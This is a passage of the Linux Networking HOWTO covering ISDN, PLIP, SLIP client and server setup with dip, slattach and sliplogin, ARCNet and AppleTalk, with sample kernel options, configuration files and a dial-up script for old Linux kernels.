It is difficult to list all the error messages (especially the syntax errors). Generally speaking, their meaning is clear in the context of the commands. The most common mistakes are: 1. Netlink is not configured in the kernel. The message is: Cannot open netlink socket: Invalid value

2. RTNETLINK is not configured in the kernel. One of the following messages may be printed (depending upon the command): Cannot talk to rtnetlink: Connection refused Cannot send dump request: Connection refused

3. Option CONFIG_IP_MULTIPLE_TABLES was not selected when configuring kernel. In this case, any attempt to use commandip rule will fail. For example:

jd@home $ ip rule list RTNETLINK error: Invalid argument dump terminated Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Kernel 2.2 IP Command Reference (Work In Progress) | Up | Using common PC hardware


ISDN

Linux Networking HOWTO
Prev Chapter 11. Using common PC hardware Next

11.1. ISDN

The Integrated Services Digital Network (ISDN) is a series of standards that specify a general purpose switched digital data network. An ISDN `call' creates a synchronous Point-to-Point data service to the destination. ISDN is generally delivered on a high speed link that is broken down into a number of discrete channels. There are two different types of channels, the `B Channels' (which will actually carry the user data) and a single channel called the `D channel' (which is used to send control information to the ISDN exchange: used for establishing calls and other functions). In Australia, for example, ISDN may be delivered on a 2Mbps link that is broken into 30 discrete 64kbps B channels (with one 64kbps D channel). Any number of channels may be used at a time, and these channels can be used in any combination. You could, for example, establish 30 separate calls to 30 different destinations at 64kbps each. You could also establish 15 calls to 15 different destinations at 128kbps each (two channels used per call). Finally, you could establish just a small number of calls while leaving the rest idle. A channel may be used for either incoming or outgoing calls. The original intention of ISDN was to allow Telecommunications companies to provide a single data service. This service could deliver either telephone (via digitised voice) or data services to your home or business. In this case, the customer would not be required to make any special configuration changes.

There are a few different ways to connect your computer to an ISDN service. One way is to use a device called a `Terminal Adaptor' .This adaptor plugs into the Network Terminating Unit (that you telecommunications carrier will have installed when you received your ISDN service), and it presents a number of serial interfaces. One of those interfaces is used to enter commands. Some commands are used to establish calls and configuration, while others are actually connected to the network devices that are to use the data circuits (when they are established). Linux will work in this sort of configuration without modification: you just treat the port on the Terminal Adaptor like you would treat any other serial device. The kernel ISDN support is also designed to allow the user to install an ISDN card into the Linux machine. This allows the Linux software to handle the protocols, and the software can make the calls itself.

Kernel Compile Options:
    ISDN subsystem  --->
        <*> ISDN support
        [ ] Support synchronous PPP
        [ ] Support audio via ISDN
        < > ICN 2B and 4B support
        < > PCBIT-D support
        < > Teles/NICCY1016PC/Creatix support

The Linux implementation of ISDN supports a number of different types of internal ISDN cards. These are listed in the kernel configuration options:

  • ICN 2B and 4B

  • Octal PCBIT-D

  • Teles ISDN-cards and compatibles

Some of these cards require software to be downloaded to make them operational. A separate utility exists to allow downloading to happen.

Full details on how to configure the Linux ISDN support is available from the /usr/src/linux/Documentation/isdn/ directory. You can also check the FAQ dedicated to isdn4linux: it is available at www.lrz-muenchen.de. (You can click on the english flag to get an english version).

A note about PPP. The PPP suite of protocols will operate over either asynchronous or synchronous serial lines. The commonly distributed PPP daemon for Linux `pppd' supports only asynchronous mode. If you wish to run the PPP protocols over your ISDN service, you need a specially modified version. Details of where to find this version are available in the documentation referred to above. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Using common PC hardware | Up | PLIP for Linux-2.0


PLIP for Linux-2.0

Linux Networking HOWTO
Prev Chapter 11. Using common PC hardware Next

11.2. PLIP for Linux-2.0

PLIP device names are `plip0', `plip1 and plip2.

Kernel Compile Options:
    Network device support  --->
        <*> PLIP (parallel port) support

PLIP (Parallel Line IP) is similar to SLIP in that it is used for providing a Point-to-Point network connection between two machines. However, it is designed to use the parallel printer ports on your machine. It doesn't use the serial ports (a cabling diagram in included in the cabling diagram section later in this document). Because it is possible to transfer more than one bit at a time with a parallel port, it is possible to attain higher speeds with the PLIP interface. PLIP will attain higher speeds than those achieved by using a standard serial device. In addition, even the simplest of parallel printer ports can be used (in lieu of you having to purchase comparatively expensive 16550AFN UART's for your serial ports). PLIP uses a lot of CPU compared to a serial link. It is not a good option if, for example, you are able to obtain some cheap ethernet cards. However, it will work when nothing else is available (and will work quite well). You should expect a data transfer rate of about 20 kilobytes per second (when a link is running well).

The PLIP device driver competes with the parallel device driver for the parallel port hardware. If you wish to use both drivers, then you should compile them both as modules. This ensures that you are able to select which port you want to use for PLIP, and that you can select which ports you want for the printer driver. Refer to the ``Modules mini-HOWTO'' for more information on kernel module configuration.

Please note that some laptops use chipsets that will not work with PLIP. These chipsets do not allow some combinations of signals. PLIP relies on these signals, but printers don't use them.

The Linux PLIP interface is compatible with the Crynwyr Packet Driver PLIP/ .This will mean that you can connect your Linux machine to a DOS machine running any other sort of tcp/ip software via PLIIP.

In the 2.0.* series kernel, the PLIP devices are mapped to i/o port and IRQ as follows:

    device	i/o	IRQ
    ------	-----	---
    plip0	0x3bc	5
    plip1	0x378	7
    plip2	0x278	2

If your parallel ports don't match any of the above combinations, then you can change the IRQ of a port. Change the IRQ by using the ifconfig command with the `irq' parameter (be sure to enable IRQ's on your printer ports in your ROM BIOS if it supports this option). As an alternative, you can specify ``io='' and ``irq='' options on the insmod command line (if you use modules). For example:

    root# insmod plip.o io=0x288 irq=5

PLIP operation is controlled by two timeouts: their default values are probably ok in most cases. You will more than likely need to increase them if you have an especially slow computer. In this case the timers to increase are actually on the other computer. A program called plipconfig exists that allows you to change these timer settings without recompiling your kernel. This program is supplied with many Linux distributions.

To configure a PLIP interface, you will need to invoke the following commands (or add them to your initialization scripts):

    root# /sbin/ifconfig plip1 localplip pointopoint remoteplip
    root# /sbin/route add remoteplip plip1

Here, the port being used is the one at I/O address 0x378; localplip amd remoteplip are the names or IP addresses used over the PLIP cable. I personally keep them in my /etc/hosts database:

    # plip entries
    192.168.3.1   localplip
    192.168.3.2   remoteplip

The pointopoint parameter has the same meaning as for SLIP. It specifies the address of the machine at the other end of the link.

In almost all respects, you can treat a PLIP interface as though it were a SLIP interface. However, neither dip nor slattach can be used.

Further information on PLIP may be obtained from the ``PLIP mini-HOWTO''.

11.2.1. PLIP for Linux-2.2

During development of the 2.1 kernel versions, support for the parallel port was changed to an improved setup.

Kernel Compile Options:
    General setup  --->
        [*] Parallel port support
    Network device support  --->
        <*> PLIP (parallel port) support

The new code for PLIP behaves like the old one. You can use the same ifconfig and route commands as in the previous section. However, initialization of the device is different due to the advanced parallel port support.

The ``first'' PLIP device is always called ``plip0'' (where first is the first device detected by the system; similarly to what happens for Ethernet devices). The actual parallel port being used is one of the available ports, as shown in /proc/parport. For example, if you have only one parallel port, you'll only have a directory called /proc/parport/0.

If your kernel didn't detect the IRQ number used by your port, ``insmod plip'' will fail. In this case just write the correct number to /proc/parport/0/irq,then reinvoke insmod.

Complete information about parallel port management is available in the file Documentation/parport.txt(part of your kernel sources).

Prev | Home | Next
ISDN | Up | PPP


PPP

Linux Networking HOWTO
Prev Chapter 11. Using common PC hardware Next

11.3. PPP

Due to the nature, size, complexity, and flexibility of PPP, it has been moved to its own HOWTO. The PPP-HOWTO is still a Linux Documentation Project document, but its official home is at the LinuxPorts.Com website PPP section. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
PLIP for Linux-2.0 | Up | SLIP client - (Antiquated)


SLIP client - (Antiquated)

Linux Networking HOWTO
Prev Chapter 11. Using common PC hardware Next

11.4. SLIP client - (Antiquated)

SLIP devices are named `sl0', `sl1' etc. The first device configured is assigned `0', and the rest of the devices are incremented sequentially as they are configured.

Kernel Compile Options:
    Network device support  --->
        [*] Network device support
        <*> SLIP (serial line) support
        [ ]  CSLIP compressed headers
        [ ]  Keepalive and linefill
        [ ]  Six bit SLIP encapsulation

SLIP (Serial Line Internet Protocol) allows you to use tcp/ip over a serial line (could be a phone line with a dialup modem, or a leased line of some sort). To use SLIP, you would of course need access to an SLIP-server in your area. Many universities and businesses provide SLIP access all over the world.

SLIP uses the serial ports on your machine to carry IP datagrams. To do this, SLIP must take control of the serial device. SLIP device names are named sl0, sl1 etc. How do these correspond to your serial devices? The networking code uses what is called an ioctl (i/o control) call to change the serial devices into SLIP devices. There are two programs supplied that can perform this function: they are called dip and slattach

11.4.1. dip

dip (Dialup IP) is a smart program that is able to perform the following tasks: set the speed of the serial device, command your modem to dial the remote end of the link, automatically log you into the remote server, search for messages sent to you by the server, and extract information from them (such as your IP address). It will then perform the ioctl necessary to switch your serial port into SLIP mode. dip has a powerful scripting ability. It's this ability that you can exploit to automate your logon procedure.

You can find it at: metalab.unc.edu.

Refer to the following for installation guidelines:

    user% tar xvzf dip337o-uri.tgz
    user% cd dip-3.3.7o
    user% vi Makefile
    root# make install

The Makefile assumes the existence of a group called uucp. However, you might like to change this to either dip or SLIP (depending on your configuration).

11.4.2. slattach

slattach (as contrasted with dip) is a very simple program that does not have the sophistication of dip. It does not have the scripting ability of dip. It will only configure your serial device as a SLIP device. It assumes you have all the information you need, and it figures that you have the serial line established before you invoke it. slattach is ideal to use where you have a permanent connection to your server (such as a physical cable or a leased line).

11.4.3. When do I use which ?

You would use dip when your link (to the machine that is your SLIP server) is either a dialup modem or some other temporary link. You would use slattach when you have a leased line, perhaps a cable, between your machine and the server: it is assumed that there is no special action needed to get this link working. See section `Permanen ist Slip connection' for more information.

Configuring SLIP is much like configuring an Ethernet interface (read section `Configuring an ethernet device' above). There are a few key differences.

First of all, SLIP links are unlike ethernet networks in that there are only two hosts on the network (one at each end of the link). Ethernet is available for use as soon are you are cabled. However, SLIP may require you to initialize your network connection in some special way (depending upon the type of link that you have).

If you are using dip, then this would not normally be done at boot time. It could be done at some later time, when you're ready to use the link. It is possible to automate this procedure. If you are using slattach then you will probably want to add a section to your rc.inet1 file. This will soon be addressed in our document..

There are two major types of SLIP servers: Dynamic IP address servers and static IP address servers. Almost every SLIP server will prompt you to login using a username and password: dip can handle logging you in automatically.

11.4.4. Static SLIP server with a dialup line and DIP.

A static SLIP server is one in which you have been supplied an IP address that is exclusively yours. Each time you connect to the server, you will configure your SLIP port with that address. The static SLIP server will answer your modem call, possibly prompt you for a username and password, and then route any datagrams destined for your address to you via that connection. If you have a static server, then you may want to put entries for your hostname and IP address (since you know what it will be) into your /etc/hosts. You should also configure some other files such as: rc.inet2, host.conf, resolv.conf, /etc/HOSTNAME and rc.local. Remember that when configuring rc.inet1, you don't need to add any special commands for your SLIP connection (since it is dip that does all of the hard work for you in configuring your interface). You will need to give dip the appropriate information so it can configure the interface for you (after it commands the modem to establish the call and it has logged you into your SLIP server).

If this is how your SLIP server works, then you can move on to the section `Using Dip' to learn how to configure dip it appropriately.

11.4.5. Dynamic SLIP server with a dialup line and DIP.

A dynamic SLIP server is one which allocates you an IP address randomly (from a pool of addresses) each time you logon. This means that there is no guarantee that you will have any particular address. Address may well be used by someone else after you have logged off. The network administrator who configured the SLIP server will have assigned a pool of address for the SLIP server to use. When the server receives a new incoming call, the following steps occur: initially, it finds the first unused address; second, it guides the caller through the login process; finally, it then prints a welcome message that contains the IP address it has allocated. It will ultimately use that particular IP address for the duration of the call.

Configuring for this type of server is similar to configuring for a static server. You must add an extra step, however, where you obtain the IP address the server has allocated to you. Then you can configure your SLIP device with that address.

Again, dip does the hard work for you. New versions are smart enough to not only log you in, but they are also able to automatically read the IP address printed in the welcome message. They can then store this address so that you can have your SLIP device configured.

If this is how your SLIP server works, then you can move to section `Using Dip' to learn how to configure dip appropriately.

11.4.6. Using DIP.

As explained earlier, dip is a powerful program that can simplify and automate these process: dialing into the SLIP server, logging in the user, starting the connection, and configuring the SLIP devices with the appropriate ifconfig and route commands.

To use dip, you'll need to write a `dip script'. This script is basically a list of commands that dip understands. These commands tell dip how to perform each of the actions that you require. See sample.dip that comes supplied with dip to get an idea of how it works. dip is quite a powerful program: it comes with many options. Instead of going into all of them here, you should look at the man page, README, and sample files that will have come with your version of dip.

You may notice that the sample.dip script assumes that you're using a static SLIP server (so you'll know what your IP address is beforehand). For dynamic SLIP servers, the newer versions of dip include a command you can use to automatically read and configure your SLIP device (with the IP address that the dynamic server allocates for you). The following sample is a modified version of the sample.dip that came supplied with dip337j-uri.tgz. It is probably a good starting point for you. You might like to save it as /etc/dipscript, then you can edit it to suit your configuration:

#
# sample.dip	Dialup IP connection support program.
#
#		This file (should show) shows how to use the DIP
#       This file should work for Annex type dynamic servers, if you
#       use a static address server then use the sample.dip file that
#       comes as part of the dip337-uri.tgz package.
#
#
# Version:	@(#)sample.dip	1.40	07/20/93
#
# Author:	Fred N. van Kempen, <waltje@uWalt.NL.Mugnet.ORG>
#
main:
# Next, set up the other side's name and address.
# My dialin machine is called 'xs4all.hacktic.nl' (== 193.78.33.42)
get $remote xs4all.hacktic.nl
# Set netmask on sl0 to 255.255.255.0
netmask 255.255.255.0
# Set the desired serial port and speed.
port cua02
speed 38400
# Reset the modem and terminal line.
# This seems to cause trouble for some people!
reset
# Note! "Standard" pre-defined "errlevel" values:
#  0 - OK
#  1 - CONNECT
#  2 - ERROR
#
# You can change those grep'ping for "addchat()" in *.c...
# Prepare for dialing.
send ATQ0V1E1X4\r
wait OK 2
if $errlvl != 0 goto modem_trouble
dial 555-1234567
if $errlvl != 1 goto modem_trouble
# We are connected.  Login to the system.
login:
sleep 2
wait ogin: 20
if $errlvl != 0 goto login_trouble
send MYLOGIN\n
wait ord: 20
if $errlvl != 0 goto password_error
send MYPASSWD\n
loggedin:
# We are now logged in.
wait SOMEPROMPT 30
if $errlvl != 0 goto prompt_error
# Command the server into SLIP mode
send SLIP\n
wait SLIP 30
if $errlvl != 0 goto prompt_error
# Get and Set your IP address from the server.
#   Here we assume that after commanding the SLIP server into SLIP
#   mode that it prints your IP address
get $locip remote 30
if $errlvl != 0 goto prompt_error
# Set up the SLIP operating parameters.
get $mtu 296
# Ensure "route add -net default xs4all.hacktic.nl" will be done
default
# Say hello and fire up!
done:
print CONNECTED $locip ---> $rmtip
mode CSLIP
goto exit
prompt_error:
print TIME-OUT waiting for sliplogin to fire up...
goto error
login_trouble:
print Trouble waiting for the Login: prompt...
goto error
password:error:
print Trouble waiting for the Password: prompt...
goto error
modem_trouble:
print Trouble occurred with the modem...
error:
print CONNECT FAILED to $remote
quit
exit:
exit

The above example assumes you are calling a dynamic SLIP server. If you are calling a static SLIP server, then the sample.dip file that comes with dip337j-uri.tgz should work for you.

When dip is given the get $local command, it searches the incoming text from the remote end for a string that looks like an IP address (ie strings numbers separated by `.' characters). This modification was put in place specifically for dynamic SLIP servers so that the process of reading the IP address granted by the server could be automated.

The example above will automatically create a default route via your SLIP link. If this is not what you want, you might have an ethernet connection that should be your default route. Remove the default command from the script. After this script has finished running (if you do an ifconfig command), you will see that you have a device sl0. This is your SLIP device. You can modify its configuration manually after the dip command has finished by using both the ifconfig and the route commands.

Please note that dip allows you to select a number of different protocols to use with the mode command. The most common example is cSLIP: it is used for SLIP with compression. Please note that both ends of the link must agree. You should ensure that whatever you select agrees with your server settings.

The above example is fairly robust, and it should cope with most errors. Please refer to the dip man page for more information. Naturally, you could code the script to do such things as redial the server if it doesn't get a connection within a prescribed period of time. You can even try a series of servers (if you have access to more than one).

11.4.7. Permanent SLIP connection using a leased line and slattach.

If you have a cable between two machines (or are fortunate enough to have a leased line), or some other permanent serial connection between your machine and second machine, then you don't need to go to all the trouble of using dip to set up your serial link. slattach is a very simple utility that will allow you just enough functionality to configure your connection.

Since your connection will be a permanent one, you will want to add some commands to your rc.inet1 file. To get a permanent connection, make sure that you configure the serial device to the correct speed. Then switch the serial device into SLIP mode. slattach allows you to do this with one command. Add the following to your rc.inet1 file:

    #
    # Attach a leased line static SLIP connection
    #
    #  configure /dev/cua0 for 19.2kbps and cslip
    /sbin/slattach -p cslip -s 19200 /dev/cua0 &
    /sbin/ifconfig sl0 IPA.IPA.IPA.IPA pointopoint IPR.IPR.IPR.IPR up
    #
    # End static SLIP.

Where:

IPA.IPA.IPA.IPA

represents your IP address.

IPR.IPR.IPR.IPR

represents the IP address of the remote end.

slattach allocates the first unallocated SLIP device to the serial device specified. slattach starts with sl0. The first slattach command attaches SLIP device sl0 to the serial device specified; sl1 the next time, etc.

slattach allows you to configure a number of different protocols with the -p argument. You will use either SLIP or cSLIP: the choice will depend on whether or not you want to use compression. Note: both ends must agree on compression or no compression.

11.4.8. SLIP server.

If you have a machine that is perhaps network connected, and you'd like other people be able to dial in and obtain network services, then you will need to configure your machine as a server. If you want to use SLIP as the serial line protocol, then you have three options as to how to configure your Linux machine (as a SLIP server). My preference would be to use the first presented (sliplogin) because it seems the easiest to configure and understand. I will present a summary of each so that you can make your own decision.

11.4.9. Slip Server using sliplogin.

sliplogin is a program that you can use in place of the normal login shell for SLIP users. It converts the terminal line into a SLIP line. It also allows you to configure your Linux machine as either a static address server (users get the same address everytime they call in), or a dynamic address server (where users may get a different address allocated to them each time they call).

The caller will login as per the standard login process by entering their username and password. However, instead of being presented with a shell after their login, sliplogin is executed. Sliplogin searches its configuration file (/etc/slip.hosts) for an entry with a login name that matches that of the caller. If it locates a match, it then configures the line as an 8bit clean line. It uses an ioctl call to convert the line discipline to SLIP. When this process is complete, the last stage of configuration takes place. Now sliplogin invokes a shell script which configures the SLIP interface with the relevant ip address and netmask. It will also set appropriate routing in place. This script is usually called /etc/slip.login. In a similar manner to getty (where you have certain callers that require special initialization) you can create configuration scripts called /etc/slip.login.loginname. These scripts will be run instead of the defaults.

There are either three or four files that you need to configure to get sliplogin working for you. I will detail where to obtain the software and how to configure in detail. The files are:

  • /etc/passwd, for the dialin user accounts.

  • /etc/slip.hosts, to contain the information unique to each dial-in user.

  • /etc/slip.login, which manages the configuration of the routing that needs to be performed for the user.

  • /etc/slip.tty, which is required only if you are configuring your server for dynamic address allocation. It contains a table of addresses to allocate.

  • /etc/slip.logout, which contains commands to clean up after the user has hung up or logged out.

11.4.10. Where to get sliplogin

You may already have the sliplogin package installed as part of your distribution. If you do not have the package, then you can get sliplogin from: metalab.unc.edu. The tar file contains both source, precompiled binaries and a man page.

To ensure that only authorized users will be able to run thesliplogin program, you should add an entry to your /etc/group file similar to the following:

 ..
slip::13:radio,fred
 ..

When you install the sliplogin package, the Makefile will change the group ownership of the sliplogin program to slip. This will mean that only users who belong to that group will be able to execute it. The example above will allow only users radio and fred to execute sliplogin.

To install the binaries into your /sbin directory, and to place the man page into section 8, perform the following:

# cd /usr/src
# gzip -dc .../sliplogin-2.1.1.tar.gz | tar xvf -
# cd sliplogin-2.1.1
# <..edit the Makefile if you don't use shadow passwords..>
# make install

If you want to recompile the binaries before installation, add a make clean before the make install. If you want to install the binaries somewhere else, you will need to edit the Makefile install rule.

11.4.11. Configuring /etc/passwd for Slip hosts.

You would usually create some special logins for Slip callers in your /etc/passwd file. A convention commonly followed is to use the hostname of the calling host with a capital `S' prefixing it. If the calling host is called radio then you could create a /etc/passwd entry that looked like:

Sradio:FvKurok73:1427:1:radio SLIP login:/tmp:/sbin/sliplogin

It doesn't really matter what the account is called: just make it meaningful to you!

Note: the caller doesn't need any special home directory. They will not be presented with a shell from this machine, so /tmp is a good choice. Also note that sliplogin is used in place of the normal login shell.

11.4.12. Configuring /etc/slip.hosts

The /etc/slip.hosts file is the file that sliplogin searches (it looks for entries matching the login name) to obtain configuration details for this particular caller. It is this file where you specify the ip address and netmask that will be assigned to the caller (configured for their use). Sample entries for two hosts: one a static configuration for host radio, and another is a dynamic configuration for user host albert.They both might look like:

#
Sradio   44.136.8.99   44.136.8.100  255.255.255.0  normal      -1
Salbert  44.136.8.99   DYNAMIC       255.255.255.0  compressed  60
#

The /etc/slip.hosts file entries are:

  1. The login name of the caller.

  2. The ip address of the server machine (ie: this machine).

  3. This is the ip address that is assigned to the caller. If this field is coded DYNAMIC, then an ip address will be allocated. This is based on the information contained in your /etc/slip.tty file (to be discussed later). Note: you must be using at least version 1.3 of sliplogin for this to work.

  4. The netmask assigned to the calling machine in dotted decimal notation eg 255.255.255.0 for a Class C network mask.

  5. This is the slip mode setting which allows you to enable/disable compression and slip other features. Allowable values here are either "normal" or "compressed".

  6. A timeout parameter which specifies how long the line can remain idle (no datagrams received) before the line is automatically disconnected. A negative value disables this feature.

  7. Optional arguments.

Note: You can use either hostnames or IP addresses (in dotted decimal notation) for fields 2 and 3. If you use hostnames, then those hosts must be resolvable. In other words, your machine must be able to locate an IP address for those hostnames. If the machine can't locate an IP address, the script will fail when it is called. You can test this by trying to telnet to the hostname. If you get the `Trying nnn.nnn.nnn...' message, then your machine has been able to find an ip address for that name. If you get the message `Unknown host', then it was unsuccessful. In this case, you can either use ip addresses in dotted decimal notation, or fix up your name resolver configuration (See section Name Resolution).

The most common slip modes are:

normal

to enable normal uncompressed SLIP.

compressed

to enable van Jacobsen header compression (cSLIP)

Naturally these are mutually exclusive. You can use one or the other. For more information on the other options available, refer to the man pages.

11.4.13. Configuring the /etc/slip.login file.

After sliplogin has searched the /etc/slip.hosts, and it has found a matching entry, it will then attempt to execute the /etc/slip.login file. It will then configure the SLIP interface with its ip address and netmask.

The sample /etc/slip.login file supplied with the sliplogin package looks like this:

#!/bin/sh -
#
#       @(#)slip.login  5.1 (Berkeley) 7/1/90
#
# generic login file for a SLIP line.  sliplogin invokes this with
# the parameters:
#     $1       $2       $3    $4, $5, $6 ...
#   SLIPunit ttyspeed   pid   the arguments from the slip.host entry
#
/sbin/ifconfig $1 $5 pointopoint $6 mtu 1500 -trailers up
/sbin/route add $6
arp -s $6 <hw_addr> pub
exit 0
#

You will note that this script simply uses the ifconfig and route commands to configure the SLIP device (with its IP address, remote IP address, and netmask). The script then creates a route for the remote address via the SLIP device. This procedure is the same as you would invoke if you were using the slattach command.

Note also the use of Proxy ARP. It ensures that other hosts on the same ethernet as the server machine will know how to reach the dial-in host. The <hw_addr> field should be the hardware address of the ethernet card in the machine. If your server machine isn't on an ethernet network, then you can eliminate this line.

11.4.14. Configuring the /etc/slip.logout file.

You want to ensure that the serial device is restored to its normal state when the call drops out (so that future callers will be able to login correctly). This is achieved with the use of the /etc/slip.logout file. It is quite simple in format, and it is called with the same argument as the /etc/slip.login file.

    #!/bin/sh -
    #
    #               slip.logout
    #
    /sbin/ifconfig $1 down
    arp -d $6
    exit 0
    #

All it does is `down' the interface. This will delete the manual route previously created. It also uses the arp command to delete any proxy arp put in place. You don't need the arp command in the script if your server machine does not have an ethernet port.

11.4.15. Configuring the /etc/slip.tty file.

If you are using dynamic ip address allocation, you should have any hosts configured with the DYNAMIC keyword in the /etc/slip.hosts file. You must then configure the /etc/slip.tty file to list what addresses are assigned to what port. You only need this file if you wish your server to dynamically allocate addresses to users.

The file is a table that lists both the tty devices that will support dial-in SLIP connections,and the ip address that should be assigned to users who call in on that port.

Its format is as follows:
# slip.tty    tty -> IP address mappings for dynamic SLIP
# format: /dev/tty?? xxx.xxx.xxx.xxx
#
/dev/ttyS0      192.168.0.100
/dev/ttyS1      192.168.0.101
#

What this table says is that callers that dial in on port /dev/ttyS0 (who have their remote address field in the /etc/slip.hosts file set to DYNAMIC) will be assigned an address of 192.168.0.100.

In this way you need only allocate one address per port for all the users who do not require dedicated address. This helps you keep the number of addresses you need down to a minimum.

11.4.16. Slip Server using dip.

Let me start by saying that some of the information below came from the dip man pages (where how to run Linux as a SLIP server is briefly documented). Please also beware that the following has been based on the dip337o-uri.tgz package, and it probably will not apply to other versions of dip.

dip has an input mode of operation. In this mode, it automatically locates an entry for the user who invoked it, and it then configures the serial line as a SLIP link (according to information it finds in the /etc/diphosts file). This input mode of operation is activated by invoking dip as diplogin. By creating special accounts where diplogin is used as the login shell, you are using dip as a SLIP server.

The first thing you will need to do is to make a symbolic link as follows:

# ln -sf /usr/sbin/dip /usr/sbin/diplogin

You then need to add entries to both your /etc/passwd and your /etc/diphosts files. The entries you need to make are formatted as follows:

To configure Linux as a SLIP server with dip, you need to create some special SLIP accounts for users. You will use dip (in input mode) as the login shell. A suggested convention is to have all SLIP accounts begin with a capital `S', eg `Sfredm'.

A sample /etc/passwd entry for a SLIP user looks like the following:

Sfredm:ij/SMxiTlGVCo:1004:10:Fred:/tmp:/usr/sbin/diplogin
^^         ^^        ^^  ^^   ^^   ^^   ^^
|          |         |   |    |    |    \__ diplogin as login shell
|          |         |   |    |    \_______ Home directory
|          |         |   |    \____________ User Full Name
|          |         |   \_________________ User Group ID
|          |         \_____________________ User ID
|          \_______________________________ Encrypted User Password
\__________________________________________ Slip User Login Name

After the user logs in, the login program (if it finds and verifies the user) will execute the diplogin command dip. diplogin knows that it should automatically assume that it is being used a login shell. When it is started as diplogin it uses the getuid() function call to get the userid from whoever has invoked it. It then searches the /etc/diphosts file for the first entry that matches either the userid or the name of the tty device from where the call has originated. It then configures itself appropriately. By deciding between giving the user an entry in the diphosts file, or providing her or him the default configuration, you can build your server in such a way that you can have a mix of static and dynamically assigned addressed users.

You do not need to worry about manually adding such entries because dip will automatically add a `Proxy-ARP' entry if invoked in input mode.

11.4.17. Configuring /etc/diphosts

/etc/diphosts is used by dip to lookup preset configurations for remote hosts. These remote hosts might be users dialing into your linux machine, or they might be for machines that you dial into with your linux machine.

The general format for /etc/diphosts is as follows:

 ..
Suwalt::145.71.34.1:145.71.34.2:255.255.255.0:SLIP uwalt:CSLIP,1006
ttyS1::145.71.34.3:145.71.34.2:255.255.255.0:Dynamic ttyS1:CSLIP,296
 ..

The fields are:

  1. Login name: as returned by getpwuid(getuid()) or tty name.

  2. Unused: compat. with passwd

  3. Remote Address: IP address of the calling host, either numeric or by name

  4. Local Address: IP address of this machine, again numeric or by name

  5. Netmask: in dotted decimal notation

  6. Comment field: place whatever you want here.

  7. Protocol: Slip, CSlip etc.

  8. MTU: decimal number

An example /etc/net/diphosts entry for a remote SLIP user might be:

Sfredm::145.71.34.1:145.71.34.2:255.255.255.0:SLIP uwalt:SLIP,296

which specifies a SLIP link with remote address of 145.71.34.1 and MTU of 296, or:

Sfredm::145.71.34.1:145.71.34.2:255.255.255.0:SLIP uwalt:CSLIP,1006

which specifies a cSLIP-capable link with remote address 145.71.34.1 and MTU of 1006.

All users who you wish to be allowed a statically allocated dial-up IP access should have an entry in the /etc/diphosts. If you want users who call a particular port to have their details dynamically allocated, then you must have an entry for the tty device (and do not configure a user based entry). You should remember to configure at least one entry for each tty device that is used. This ensures that a suitable configuration is available for them regardless of which modem they call in on.

When a user logs in, they will receive a normal login and password prompt. They should then enter their SLIP-login userid and password. If these verify properly, then the user will see no special messages. The user should then change into SLIP mode at their end. The user should then be able to connect and be configured with the relevant parameters from the diphosts file.

11.4.18. SLIP server using the dSLIP package.

Matt Dillon <dillon@apollo.west.oic.com> has written a package that does not only dial-in but also dial-out SLIP. Matt's package is a combination of small programs and scripts that manage your connections for you. You will need to have tcsh installed as at least one of the scripts requires it. Matt supplies a binary copy of the expect utility as it too is needed by one of the scripts. You will most likely need some experience with expect to get this package working to your liking, but don't let that deter your efforts!

Matt has written a good set of installation instructions in the README file, so I won't bother to repeat them.

You can get the dSLIP package from its home site at:

apollo.west.oic.com
/pub/linux/dillon_src/dSLIP203.tgz

or from:

metalab.unc.edu
/pub/Linux/system/Network/serial/dSLIP203.tgz

Read the README file and create the /etc/passwd and /etc/group entries before doing a make install.

Prev | Home | Next
PPP | Up | Other Network Technologies


ARCNet

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.1. ARCNet

ARCNet device names are `arc0e', `arc1e', `arc2e' etc. or `arc0s', `arc1s', `arc2s' etc. The first card detected by the kernel is assigned either `arc0e' or `arc0s' The rest are assigned sequentially in the order they are detected. The letter at the end signifies either the ethernet encapsulation packet format or the RFC1051 packet format.

Kernel Compile Options:
    Network device support  --->
        [*] Network device support
        <*> ARCnet support
        [ ]   Enable arc0e (ARCnet "Ether-Encap" packet format)
        [ ]   Enable arc0s (ARCnet RFC1051 packet format)

Once you have your kernel properly built to support your ethernet card, then configuring the the card is easy.

Typically you would use something like:

    root# ifconfig arc0e 192.168.0.1 netmask 255.255.255.0 up
    root# route add -net 192.168.0.0 netmask 255.255.255.0 arc0e

Please refer to the /usr/src/linux/Documentation/networking/arcnet.txt and /usr/src/linux/Documentation/networking/arcnet-hardware.txt files for further information.

ARCNet support was developed by Avery Pennarun, apenwarr@foxnet.net. Was this section helpful? Why not Donate $2.50?

Prev | Home | Next
Other Network Technologies | Up | Appletalk (AF_APPLETALK)


Appletalk (AF_APPLETALK)

Linux Networking HOWTO
Prev Chapter 12. Other Network Technologies Next

12.2. Appletalk (AF_APPLETALK)

The Appletalk support has no special device names as it uses existing network devices.

Kernel Compile Options:
    Networking options  --->
        <*> Appletalk DDP

Appletalk support allows your Linux machine to interwork with Apple networks. An important use for this is to share resources (such as printers and disks) between your Linux and Apple computers. Additional software is required; this is called netatalk. Wesley Craig netatalk@umich.edu represents a team called the `Research Systems Unix Group' at the University of Michigan. They have produced the netatalk package. This product provides software that implements the Appletalk protocol stack along with some useful utilities. The netatalk package will either be supplied with your Linux distribution, or you will have to ftp it from the home site at University of Michigan

To build and install the package, do something like the following:

    user% tar xvfz .../netatalk-1.4b2.tar.Z
    user% make
    root# make install

You may want to edit the `Makefile' before calling make to actually compile the software. Specifically, you might want to change the DESTDIR variable that defines where the files will later be installed. The default of /usr/local/atalk is fairly safe.

12.2.1. Configuring the Appletalk software.

The first thing you need to do to make it all work is to ensure that the appropriate entries in the /etc/services file are present. The entries you need are:

  rtmp	1/ddp	# Routing Table Maintenance Protocol
  nbp	2/ddp	# Name Binding Protocol
  echo	4/ddp	# AppleTalk Echo Protocol
  zip	6/ddp	# Zone Information Protocol

The next step is to create the Appletalk configuration files in the /usr/local/atalk/etc directory (or wherever you installed the package).

The first file to create is the /usr/local/atalk/etc/atalkd.conf file. This file initially needs only one line. This line gives the name of the network device supporting the network that your Apple machines are on:

  eth0

The Appletalk daemon program will add extra details after it has been initiated.

12.2.2. Exporting a Linux filesystems via Appletalk.

You can export filesystems from your linux machine to the network so that any Apple machine on the network can share them.

